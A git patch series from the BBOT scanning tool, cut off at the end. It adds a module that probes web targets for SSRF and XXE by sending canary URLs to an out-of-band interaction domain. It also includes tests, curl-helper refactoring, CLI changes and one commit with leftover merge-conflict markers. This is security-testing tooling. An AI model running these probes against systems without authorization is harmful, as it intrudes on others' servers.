True, + }, + }, + { + "name": "Ensure curl binary is executable", + "file": { + "path": "#{BBOT_TOOLS}/curl", + "mode": "0755", + }, + }, + { + "name": "Verify curl binary works", + "command": "#{BBOT_TOOLS}/curl --version", + "register": "curl_version_output", + "changed_when": False, + }, +] + DEP_MASSCAN = [ { "name": "install os deps (Debian)", diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py new file mode 100644 index 0000000000..3eb3202f9f --- /dev/null +++ b/bbot/modules/generic_ssrf.py @@ -0,0 +1,264 @@ +from bbot.errors import InteractshError +from bbot.modules.base import BaseModule + + +ssrf_params = [ + "Dest", + "Redirect", + "URI", + "Path", + "Continue", + "URL", + "Window", + "Next", + "Data", + "Reference", + "Site", + "HTML", + "Val", + "Validate", + "Domain", + "Callback", + "Return", + "Page", + "Feed", + "Host", + "Port", + "To", + "Out", + "View", + "Dir", + "Show", + "Navigation", + "Open", +] + + +class BaseSubmodule: + technique_description = "base technique description" + severity = "INFO" + paths = [] + + deps_common = ["curl"] + + def __init__(self, generic_ssrf): + self.generic_ssrf = generic_ssrf + self.test_paths = self.create_paths() + + def set_base_url(self, event): + return f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" + + def create_paths(self): + return self.paths + + async def test(self, event): + base_url = self.set_base_url(event) + for test_path_result in self.test_paths: + for lower in [True, False]: + test_path = test_path_result[0] + if lower: + test_path = test_path.lower() + subdomain_tag = test_path_result[1] + test_url = f"{base_url}{test_path}" + self.generic_ssrf.debug(f"Sending request to URL: {test_url}") + r = await self.generic_ssrf.helpers.curl(url=test_url) + if r: + self.process(event, r["response_data"], subdomain_tag) + + def process(self, event, r, subdomain_tag): + response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] + if response_token in r: + echoed_response = True + else: + echoed_response = False + + self.generic_ssrf.interactsh_subdomain_tags[subdomain_tag] = ( + event, + self.technique_description, + self.severity, + echoed_response, + ) + + +class Generic_SSRF(BaseSubmodule): + technique_description = "Generic SSRF (GET)" + severity = "HIGH" + + def set_base_url(self, event): + return event.data + + def create_paths(self): + test_paths = [] + for param in ssrf_params: + query_string = "" + subdomain_tag = self.generic_ssrf.helpers.rand_string(4) + ssrf_canary = f"{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" + self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param + query_string += f"{param}=http://{ssrf_canary}&" + test_paths.append((f"?{query_string.rstrip('&')}", subdomain_tag)) + return test_paths + + +class Generic_SSRF_POST(BaseSubmodule): + technique_description = "Generic SSRF (POST)" + severity = "HIGH" + + def set_base_url(self, event): + return event.data + + async def test(self, event): + test_url = f"{event.data}" + + post_data = {} + for param in ssrf_params: + subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) + self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param + post_data[param] = f"http://{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" + + subdomain_tag_lower = self.generic_ssrf.helpers.rand_string(4, digits=False) + post_data_lower = { + k.lower(): f"http://{subdomain_tag_lower}.{self.generic_ssrf.interactsh_domain}" + for k, v in post_data.items() + } + + post_data_list = [(subdomain_tag, post_data), (subdomain_tag_lower, post_data_lower)] + + for tag, pd in post_data_list: + r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd) + self.process(event, r["response_data"], tag) + + +class Generic_XXE(BaseSubmodule): + technique_description = "Generic XXE" + severity = "HIGH" + paths = None + + async def test(self, event): + rand_entity = self.generic_ssrf.helpers.rand_string(4, digits=False) + subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) + + post_body = f""" + + +]> +&{rand_entity};""" + test_url = event.parsed_url.geturl() + r = await self.generic_ssrf.helpers.curl( + url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"} + ) + if r: + self.process(event, r["response_data"], subdomain_tag) + + +class generic_ssrf(BaseModule): + watched_events = ["URL"] + produced_events = ["VULNERABILITY"] + flags = ["active", "aggressive", "web-thorough"] + meta = {"description": "Check for generic SSRFs", "created_date": "2022-07-30", "author": "@liquidsec"} + options = { + "skip_dns_interaction": False, + } + options_desc = { + "skip_dns_interaction": "Do not report DNS interactions (only HTTP interaction)", + } + in_scope_only = True + + deps_apt = ["curl"] + + async def setup(self): + self.submodules = {} + self.interactsh_subdomain_tags = {} + self.parameter_subdomain_tags_map = {} + self.severity = None + self.skip_dns_interaction = self.config.get("skip_dns_interaction", False) + + if self.scan.config.get("interactsh_disable", False) is False: + try: + self.interactsh_instance = self.helpers.interactsh() + self.interactsh_domain = await self.interactsh_instance.register(callback=self.interactsh_callback) + except InteractshError as e: + self.warning(f"Interactsh failure: {e}") + return False + else: + self.warning( + "The generic_ssrf module is completely dependent on interactsh to function, but it is disabled globally. Aborting." + ) + return None + + # instantiate submodules + for m in BaseSubmodule.__subclasses__(): + if m.__name__.startswith("Generic_"): + self.verbose(f"Starting generic_ssrf submodule: {m.__name__}") + self.submodules[m.__name__] = m(self) + + return True + + async def handle_event(self, event): + for s in self.submodules.values(): + await s.test(event) + + async def interactsh_callback(self, r): + protocol = r.get("protocol").upper() + if protocol == "DNS" and self.skip_dns_interaction: + return + + full_id = r.get("full-id", None) + subdomain_tag = full_id.split(".")[0] + + if full_id: + if "." in full_id: + match = self.interactsh_subdomain_tags.get(subdomain_tag) + if not match: + return + matched_event = match[0] + matched_technique = match[1] + matched_severity = match[2] + matched_echoed_response = str(match[3]) + + triggering_param = self.parameter_subdomain_tags_map.get(subdomain_tag, None) + description = f"Out-of-band interaction: [{matched_technique}]" + if triggering_param: + self.debug(f"Found triggering parameter: {triggering_param}") + description += f" [Triggering Parameter: {triggering_param}]" + description += f" [{protocol}] Echoed Response: {matched_echoed_response}" + + self.debug(f"Emitting event with description: {description}") # Debug the final description + + event_type = "VULNERABILITY" if protocol == "HTTP" else "FINDING" + event_data = { + "host": str(matched_event.host), + "url": matched_event.data, + "description": description, + } + if protocol == "HTTP": + event_data["severity"] = matched_severity + + await self.emit_event( + event_data, + event_type, + matched_event, + context=f"{{module}} scanned {matched_event.data} and detected {{event.type}}: {matched_technique}", + ) + else: + # this is likely caused by something trying to resolve the base domain first and can be ignored + self.debug("skipping result because subdomain tag was missing") + + async def cleanup(self): + if self.scan.config.get("interactsh_disable", False) is False: + try: + await self.interactsh_instance.deregister() + self.debug( + f"successfully deregistered interactsh session with correlation_id {self.interactsh_instance.correlation_id}" + ) + except InteractshError as e: + self.warning(f"Interactsh failure: {e}") + + async def finish(self): + if self.scan.config.get("interactsh_disable", False) is False: + await self.helpers.sleep(5) + try: + for r in await self.interactsh_instance.poll(): + await self.interactsh_callback(r) + except InteractshError as e: + self.debug(f"Error in interact.sh: {e}") diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index a60967b8b4..2dd77b2a09 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -15,7 +15,7 @@ class host_header(BaseModule): in_scope_only = True per_hostport_only = True - deps_apt = ["curl"] + deps_common = ["curl"] async def setup(self): self.subdomain_tags = {} @@ -106,7 +106,7 @@ async def handle_event(self, event): ignore_bbot_global_settings=True, cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # absolute URL / Host header transposition @@ -120,7 +120,7 @@ async def handle_event(self, event): cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # duplicate host header tolerance @@ -131,10 +131,9 @@ async def handle_event(self, event): # The fact that it's accepting two host headers is rare enough to note on its own, and not too noisy. Having the 3rd header be an interactsh would result in false negatives for the slightly less interesting cases. headers={"Host": ["", str(event.host), str(event.host)]}, cookies=added_cookies, - head_mode=True, ) - split_output = output.split("\n") + split_output = output["raw_headers"].split("\n") if " 4" in split_output: description = "Duplicate Host Header Tolerated" await self.emit_event( @@ -173,7 +172,7 @@ async def handle_event(self, event): headers=override_headers, cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # emit all the domain reflections we found diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index eb1aee5e52..69e307f002 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY"] + watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VIRTUAL_HOST"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py new file mode 100644 index 0000000000..23e6c7c731 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -0,0 +1,97 @@ +import re +import asyncio +from werkzeug.wrappers import Response + +from .base import ModuleTestBase + + +def extract_subdomain_tag(data): + pattern = r"http://([a-z0-9]{4})\.fakedomain\.fakeinteractsh\.com" + match = re.search(pattern, data) + if match: + return match.group(1) + + +class TestGeneric_SSRF(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "generic_ssrf"] + config_overrides = { + "interactsh_disable": False, + } + + def request_handler(self, request): + subdomain_tag = None + + if request.method == "GET": + subdomain_tag = extract_subdomain_tag(request.full_path) + elif request.method == "POST": + subdomain_tag = extract_subdomain_tag(request.data.decode()) + if subdomain_tag: + asyncio.run( + self.interactsh_mock_instance.mock_interaction( + subdomain_tag, msg=f"{request.method}: {request.data.decode()}" + ) + ) + + return Response("alive", status=200) + + async def setup_before_prep(self, module_test): + self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") + + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + total_vulnerabilities = 0 + total_findings = 0 + + for e in events: + if e.type == "VULNERABILITY": + total_vulnerabilities += 1 + elif e.type == "FINDING": + total_findings += 1 + + assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" + assert total_findings == 30, "Incorrect number of findings detected" + + assert any( + e.type == "VULNERABILITY" + and "Out-of-band interaction: [Generic SSRF (GET)]" + and "[Triggering Parameter: Dest]" in e.data["description"] + for e in events + ), "Failed to detect Generic SSRF (GET)" + assert any( + e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] + for e in events + ), "Failed to detect Generic SSRF (POST)" + assert any( + e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] + for e in events + ), "Failed to detect Generic SSRF (XXE)" + + +class TestGeneric_SSRF_httponly(TestGeneric_SSRF): + config_overrides = {"modules": {"generic_ssrf": {"skip_dns_interaction": True}}} + + def check(self, module_test, events): + total_vulnerabilities = 0 + total_findings = 0 + + for e in events: + if e.type == "VULNERABILITY": + total_vulnerabilities += 1 + elif e.type == "FINDING": + total_findings += 1 + + assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" + assert total_findings == 0, "Incorrect number of findings detected" From fb20516240155b764d90c6a981cf1107157f47d0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 15:12:48 -0400 Subject: [PATCH 116/129] just fixing stuff --- bbot/core/helpers/validators.py | 2 +- bbot/test/test_step_1/test_web.py | 25 +++++++++++++++++++++++++ 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 97a39fae3c..225542d1e8 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -132,7 +132,7 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("UNKNOWN", "INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"): raise ValueError(f"Invalid severity: {severity}") return severity diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index dd526167bb..20aec33d67 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -354,6 +354,7 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): url = bbot_httpserver.url_for("/curl") bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") bbot_httpserver.expect_request(uri="/index.html").respond_with_data("curl_yep_index") +<<<<<<< HEAD assert await helpers.curl(url=url) == "curl_yep" assert await helpers.curl(url=url, ignore_bbot_global_settings=True) == "curl_yep" assert (await helpers.curl(url=url, head_mode=True)).startswith("HTTP/") @@ -370,6 +371,30 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): path_override="/index.html", ) == "curl_yep_index" +======= + + result1 = await helpers.curl(url=url) + assert result1["response_data"] == "curl_yep" + + result2 = await helpers.curl(url=url, ignore_bbot_global_settings=True) + assert result2["response_data"] == "curl_yep" + + result3 = await helpers.curl(url=url) + assert result3["response_data"] == "curl_yep" + + result4 = await helpers.curl(url=url, raw_body="body") + assert result4["response_data"] == "curl_yep" + + result5 = await helpers.curl( + url=url, + raw_path=True, + headers={"test": "test", "test2": ["test2"]}, + ignore_bbot_global_settings=False, + post_data={"test": "test"}, + method="POST", + cookies={"test": "test"}, + path_override="/index.html", +>>>>>>> a7ce13acd (just fixing stuff) ) # test custom headers bbot_httpserver.expect_request("/test-custom-http-headers-curl", headers={"test": "header"}).respond_with_data( From d634166665c37b955ec827f1fcde124bb5e78235 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 15:54:16 -0400 Subject: [PATCH 117/129] oops --- bbot/core/helpers/validators.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 225542d1e8..97a39fae3c 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -132,7 +132,7 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in ("UNKNOWN", "INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"): raise ValueError(f"Invalid severity: {severity}") return severity From 6a1698f98b58c6ae6aa8e72e80ac3f6345d18cc0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 17:24:42 -0400 Subject: [PATCH 118/129] fixing --- bbot/test/test_step_1/test_web.py | 46 +++++++++++++++++-------------- 1 file changed, 26 insertions(+), 20 deletions(-) diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 20aec33d67..0913d66744 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -354,24 +354,6 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): url = bbot_httpserver.url_for("/curl") bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") bbot_httpserver.expect_request(uri="/index.html").respond_with_data("curl_yep_index") -<<<<<<< HEAD - assert await helpers.curl(url=url) == "curl_yep" - assert await helpers.curl(url=url, ignore_bbot_global_settings=True) == "curl_yep" - assert (await helpers.curl(url=url, head_mode=True)).startswith("HTTP/") - assert await helpers.curl(url=url, raw_body="body") == "curl_yep" - assert ( - await helpers.curl( - url=url, - raw_path=True, - headers={"test": "test", "test2": ["test2"]}, - ignore_bbot_global_settings=False, - post_data={"test": "test"}, - method="POST", - cookies={"test": "test"}, - path_override="/index.html", - ) - == "curl_yep_index" -======= result1 = await helpers.curl(url=url) assert result1["response_data"] == "curl_yep" @@ -394,15 +376,39 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): method="POST", cookies={"test": "test"}, path_override="/index.html", ->>>>>>> a7ce13acd (just fixing stuff) ) + assert result5["response_data"] == "curl_yep_index" + # test custom headers bbot_httpserver.expect_request("/test-custom-http-headers-curl", headers={"test": "header"}).respond_with_data( "curl_yep_headers" ) headers_url = bbot_httpserver.url_for("/test-custom-http-headers-curl") curl_result = await helpers.curl(url=headers_url) - assert curl_result == "curl_yep_headers" + assert curl_result["response_data"] == "curl_yep_headers" + + assert "http_code" in curl_result + assert curl_result["http_code"] == 200 + assert "url_effective" in curl_result + assert "content_type" in curl_result + assert "size_download" in curl_result + assert "time_total" in curl_result + assert "speed_download" in curl_result + + # NEW: Test metadata types and ranges + assert isinstance(curl_result["http_code"], int) + assert isinstance(curl_result["size_download"], (int, float)) + assert isinstance(curl_result["time_total"], (int, float)) + assert isinstance(curl_result["speed_download"], (int, float)) + assert curl_result["size_download"] >= 0 + assert curl_result["time_total"] >= 0 + + # NEW: Test that all results have consistent metadata structure + for result in [result1, result2, result3, result4, result5, curl_result]: + assert "response_data" in result + assert "http_code" in result + assert "url_effective" in result + assert isinstance(result, dict) await scan._cleanup() From e8f01da78bfb86b4128550b7573eed9d585eaa13 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Dec 2025 16:17:33 -0500 Subject: [PATCH 119/129] fix test --- bbot/test/test_step_1/test_web.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index b544048408..ec56e36f8b 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -572,6 +572,7 @@ def handler(request): bbot_httpserver.expect_request(uri=endpoint).respond_with_handler(handler) scan = bbot_scanner("127.0.0.1") + await scan._prep() module = BaseModule(scan) module.api_key = ["k1", "k2"] From 2954d4e57fe9941463ea3cedf4f3e3e7f21b8fec Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Dec 2025 17:26:51 -0500 Subject: [PATCH 120/129] add pyopenssl dep --- bbot/modules/virtualhost.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index c1b67d538b..dff9a14b4c 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -29,6 +29,7 @@ def _format_headers(self, headers): return formatted_headers deps_common = ["curl"] + deps_pip = ["pyOpenSSL~=25.3.0"] SIMILARITY_THRESHOLD = 0.8 CANARY_LENGTH = 12 From d06a385b551225ebc72bd149ceae12c683d89683 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Dec 2025 13:26:08 -0500 Subject: [PATCH 121/129] fixing next() bug --- bbot/modules/virtualhost.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index dff9a14b4c..f59f1a27f4 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -131,7 +131,12 @@ async def handle_event(self, event): is_https = event.parsed_url.scheme == "https" + if not event.resolved_hosts: + self.debug(f"HANDLE EVENT METHOD: No resolved hosts for {normalized_url}, skipping virtual host check") + return None + host_ip = next(iter(event.resolved_hosts)) + try: baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) except CurlError as e: @@ -1030,6 +1035,11 @@ async def finish(self): # Get fresh canary and original response for this host is_https = host_parsed_url.scheme == "https" + + if not event.resolved_hosts: + self.debug(f"FINISH METHOD: No resolved hosts for {host}, skipping wordcloud check") + continue + host_ip = next(iter(event.resolved_hosts)) self.verbose(f"FINISH METHOD: Starting wildcard check for {host}") From 7c4a91de1852ef7b7a740ea7d3f149acaceb1987 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Dec 2025 11:33:58 -0500 Subject: [PATCH 122/129] untangle cli arg issues --- bbot/cli.py | 94 +++++++++++++++++++------------------ bbot/scanner/preset/args.py | 3 +- bbot/scanner/scanner.py | 8 +++- 3 files changed, 57 insertions(+), 48 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 70ee1e875a..9792e1200d 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -7,7 +7,7 @@ from bbot.errors import * from bbot import __version__ from bbot.logger import log_to_stderr -from bbot.core.helpers.misc import chain_lists, rm_rf +from bbot.core.helpers.misc import chain_lists if multiprocessing.current_process().name == "MainProcess": @@ -34,13 +34,8 @@ async def _main(): import traceback from contextlib import suppress - # fix tee buffering (only if on real TTY) - if hasattr(sys.stdout, "reconfigure"): - try: - if sys.stdout.isatty(): - sys.stdout.reconfigure(line_buffering=True) - except Exception: - pass + # fix tee buffering + sys.stdout.reconfigure(line_buffering=True) log = logging.getLogger("bbot.cli") @@ -61,6 +56,10 @@ async def _main(): return # ensure arguments (-c config options etc.) are valid options = preset.args.parsed + # apply CLI log level options (e.g. --debug/--verbose/--silent) to the + # global core logger even for CLI-only commands (like --install-all-deps) + # that don't construct a full Scanner. + preset.apply_log_level(apply_core=True) # print help if no arguments if len(sys.argv) == 1: @@ -95,7 +94,8 @@ async def _main(): preset._default_output_modules = options.output_modules preset._default_internal_modules = [] - await preset.bake() + # Bake a temporary copy of the preset so that flags correctly enable their associated modules before listing them + preset = await preset.bake() # --list-modules if options.list_modules: @@ -149,16 +149,22 @@ async def _main(): print(row) return - try: - scan = Scanner(preset=preset) - except (PresetAbortError, ValidationError) as e: - log.warning(str(e)) - return + baked_preset = await preset.bake() - await scan._prep() + # --current-preset / --current-preset-full + if options.current_preset or options.current_preset_full: + if not baked_preset.description and baked_preset.scan_name: + baked_preset.description = str(baked_preset.scan_name) + if options.current_preset_full: + print(baked_preset.to_yaml(full_config=True)) + else: + print(baked_preset.to_yaml()) + sys.exit(0) + return + # deadly modules (no scan required yet) deadly_modules = [ - m for m in scan.preset.scan_modules if "deadly" in preset.preloaded_module(m).get("flags", []) + m for m in baked_preset.scan_modules if "deadly" in baked_preset.preloaded_module(m).get("flags", []) ] if deadly_modules and not options.allow_deadly: log.hugewarning(f"You enabled the following deadly modules: {','.join(deadly_modules)}") @@ -166,44 +172,39 @@ async def _main(): log.hugewarning("Please specify --allow-deadly to continue") return False - # --current-preset - if options.current_preset: - print(scan.preset.to_yaml()) - sys.exit(0) - return - - # --current-preset-full - if options.current_preset_full: - print(scan.preset.to_yaml(full_config=True)) - sys.exit(0) + try: + scan = Scanner(preset=baked_preset) + except (PresetAbortError, ValidationError) as e: + log.warning(str(e)) return # --install-all-deps if options.install_all_deps: + # create a throwaway Scanner solely so that Preset.bake(scan) can perform find_and_replace() on all module configs so that placeholders like "#{BBOT_TOOLS}" are resolved before running Ansible tasks. + from bbot.scanner import Scanner as _ScannerForDeps + preloaded_modules = preset.module_loader.preloaded() - scan_modules = [k for k, v in preloaded_modules.items() if str(v.get("type", "")) == "scan"] - output_modules = [k for k, v in preloaded_modules.items() if str(v.get("type", "")) == "output"] - log.verbose("Creating dummy scan with all modules + output modules for deps installation") - dummy_scan = Scanner(preset=preset, modules=scan_modules, output_modules=output_modules) - dummy_scan.helpers.depsinstaller.force_deps = True + modules_for_deps = [ + k for k, v in preloaded_modules.items() if str(v.get("type", "")) in ("scan", "output") + ] + + # dummy scan used only for environment preparation + dummy_scan = _ScannerForDeps(preset=preset) + await dummy_scan._unbaked_preset.bake(dummy_scan) + + helper = dummy_scan.helpers log.info("Installing module dependencies") - await dummy_scan.load_modules() - log.verbose("Running module setups") - succeeded, hard_failed, soft_failed = await dummy_scan.setup_modules(deps_only=True) - # remove any leftovers from the dummy scan - rm_rf(dummy_scan.home, ignore_errors=True) - rm_rf(dummy_scan.temp_dir, ignore_errors=True) + succeeded, failed = await helper.depsinstaller.install(*modules_for_deps) if succeeded: log.success( f"Successfully installed dependencies for {len(succeeded):,} modules: {','.join(succeeded)}" ) - if soft_failed or hard_failed: - failed = soft_failed + hard_failed + if failed: log.warning(f"Failed to install dependencies for {len(failed):,} modules: {', '.join(failed)}") return False return True - scan_name = str(scan.name) + await scan._prep() log.verbose("") log.verbose("### MODULES ENABLED ###") @@ -213,17 +214,18 @@ async def _main(): scan.helpers.word_cloud.load() + scan_name = str(scan.name) + if not options.dry_run: log.trace(f"Command: {' '.join(sys.argv)}") + # In some environments (e.g. tests) stdin may be closed or not support isatty(). Treat those cases as non-interactive. try: - is_tty = ( - hasattr(sys.stdin, "isatty") and not getattr(sys.stdin, "closed", False) and sys.stdin.isatty() - ) - except Exception: - is_tty = False + stdin_is_tty = sys.stdin.isatty() + except (ValueError, io.UnsupportedOperation): + stdin_is_tty = False - if is_tty: + if stdin_is_tty: # warn if any targets belong directly to a cloud provider if not scan.preset.strict_scope: for event in scan.target.seeds.event_seeds: diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 18aa090424..cf938730f5 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -368,6 +368,7 @@ def create_parser(self, *args, **kwargs): deps = p.add_argument_group( title="Module dependencies", description="Control how modules install their dependencies" ) + # Behavior flags are mutually exclusive with each other. But need to be able to be combined with --install-all-deps. g2 = deps.add_mutually_exclusive_group() g2.add_argument("--no-deps", action="store_true", help="Don't install module dependencies") g2.add_argument("--force-deps", action="store_true", help="Force install all module dependencies") @@ -375,7 +376,7 @@ def create_parser(self, *args, **kwargs): g2.add_argument( "--ignore-failed-deps", action="store_true", help="Run modules even if they have failed dependencies" ) - g2.add_argument("--install-all-deps", action="store_true", help="Install dependencies for all modules") + deps.add_argument("--install-all-deps", action="store_true", help="Install dependencies for all modules") misc = p.add_argument_group(title="Misc") misc.add_argument("--version", action="store_true", help="show BBOT version and exit") diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index e3ea54cfc9..fcfabd7226 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -937,7 +937,13 @@ def blacklist(self): @property def helpers(self): - return self.preset.helpers + # Before `_prep()` runs, `self.preset` is None. In those cases, + # fall back to the unbaked preset's helpers so that CLI utilities + # (e.g. depsinstaller) and other lightweight helper functionality + # remain available without requiring a full scan prep. + if self.preset is not None: + return self.preset.helpers + return self._unbaked_preset.helpers @property def force_start(self): From 2720caef05e64f33f6a137ff93cc716556641ae6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Dec 2025 11:51:43 -0500 Subject: [PATCH 123/129] ensure a description exists --- bbot/cli.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 9792e1200d..496e060721 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -153,8 +153,14 @@ async def _main(): # --current-preset / --current-preset-full if options.current_preset or options.current_preset_full: - if not baked_preset.description and baked_preset.scan_name: - baked_preset.description = str(baked_preset.scan_name) + # Ensure we always have a human-friendly description. Prefer an + # explicit scan_name if present, otherwise fall back to the + # preset name (e.g. "bbot_cli_main"). + if not baked_preset.description: + if baked_preset.scan_name: + baked_preset.description = str(baked_preset.scan_name) + elif baked_preset.name: + baked_preset.description = str(baked_preset.name) if options.current_preset_full: print(baked_preset.to_yaml(full_config=True)) else: From 6554bd9cfb9ad477b17d486944d5cec6cb82189e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Dec 2025 12:28:52 -0500 Subject: [PATCH 124/129] more adjustments to scan initialization --- bbot/scanner/scanner.py | 86 ++++++++++++++++++++++++++++++----------- 1 file changed, 63 insertions(+), 23 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index fcfabd7226..597abc6f3d 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -158,6 +158,9 @@ def __init__( self.modules = OrderedDict({}) self.dummy_modules = {} self.preset = None + # initial status before `_prep()` runs + self._status = "NOT_STARTED" + self._status_code = self._status_codes[self._status] async def _prep(self): """ @@ -216,26 +219,26 @@ async def _prep(self): self.scope_report_distance = int(self.scope_config.get("report_distance", 1)) # web config - self.web_config = self.config.get("web", {}) - self.web_spider_distance = self.web_config.get("spider_distance", 0) - self.web_spider_depth = self.web_config.get("spider_depth", 1) - self.web_spider_links_per_page = self.web_config.get("spider_links_per_page", 20) - max_redirects = self.web_config.get("http_max_redirects", 5) + web_config = self.config.get("web", {}) + self.web_spider_distance = web_config.get("spider_distance", 0) + self.web_spider_depth = web_config.get("spider_depth", 1) + self.web_spider_links_per_page = web_config.get("spider_links_per_page", 20) + max_redirects = web_config.get("http_max_redirects", 5) self.web_max_redirects = max(max_redirects, self.web_spider_distance) - self.http_proxy = self.web_config.get("http_proxy", "") - self.http_timeout = self.web_config.get("http_timeout", 10) - self.httpx_timeout = self.web_config.get("httpx_timeout", 5) - self.http_retries = self.web_config.get("http_retries", 1) - self.httpx_retries = self.web_config.get("httpx_retries", 1) - self.useragent = self.web_config.get("user_agent", "BBOT") + self.http_proxy = web_config.get("http_proxy", "") + self.http_timeout = web_config.get("http_timeout", 10) + self.httpx_timeout = web_config.get("httpx_timeout", 5) + self.http_retries = web_config.get("http_retries", 1) + self.httpx_retries = web_config.get("httpx_retries", 1) + self.useragent = web_config.get("user_agent", "BBOT") # custom HTTP headers warning - self.custom_http_headers = self.web_config.get("http_headers", {}) + self.custom_http_headers = web_config.get("http_headers", {}) if self.custom_http_headers: self.warning( "You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx." ) # custom HTTP cookies warning - self.custom_http_cookies = self.web_config.get("http_cookies", {}) + self.custom_http_cookies = 